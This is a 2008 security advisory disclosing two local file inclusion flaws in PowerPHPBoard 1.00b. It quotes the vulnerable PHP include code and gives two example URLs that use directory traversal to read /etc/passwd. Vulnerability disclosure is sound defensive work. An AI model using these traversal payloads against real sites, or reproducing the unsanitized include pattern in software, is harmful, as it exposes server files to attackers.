[DSECRG-08-021] Multiple LFI in PowerPHPBoard 1.00b

[DSECRG-08-021] Digital Security Research Group [DSecRG] Advisory

Application: PowerPHPBoard
Versions Affected: 1.00b
Vendor URL: http://www.powerscripts.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: 24.03.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

PowerPHPBoard has Multiple Local File Include vulnerabilities.

1. Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.

Code
****
#################################################

   if ($settings[footer]) {
    if (file_exists("inc/$settings[footer]")) {
      include("inc/$settings[footer]");
    } else {
      echo "<center>$lang_footerdoesntexists</center>";
    }
  } else {
    include("inc/footer.ppb");
  }

#################################################

Example:

http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd

---------------------------------------------------------------------

2. Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.

Code
****
#################################################

  if (!$handler) {
    if ($handler = @mysql_pconnect($mysql[server], $mysql[user], $mysql[password])) {
    ...
    }
  }

...

  $query = "SELECT * FROM ppb_config WHERE id='1'";
  $result = mysql_query($query,$handler);
  $num = mysql_num_rows($result);

  if ($num != 0) {
    list($settings[id], $settings[boardtitle], $settings[boardurl], $settings[adminemail], $settings[header], $settings[footer],

$settings[bordercolor], $settings[tablebg1], $settings[tablebg2], $settings[tablebg3], $settings[htmlcode], $settings[bbcode],

$settings[smilies], $settings[newthread], $settings[newpost], $settings[language]) = mysql_fetch_array($result);
  }

...

  if ($settings[header]) {
    if (file_exists("inc/$settings[header]")) {
      include("inc/$settings[header]");
    } else {
      echo "<center>$lang_headerfiledoesntexists</center>";
    }
  } else {
    include("inc/header.ppb");
  }

#################################################

Example:

http://[server]/[installdir]/header.inc.php?handler=1234&settings[header]=../../../../../../../../../../../../../etc/passwd

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration

testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.

Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories

and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

-- 
Alexandr Polyakov
DIGITAL SECURITY RESEARCH GROUP
                       mailto:research_at_dsec.ru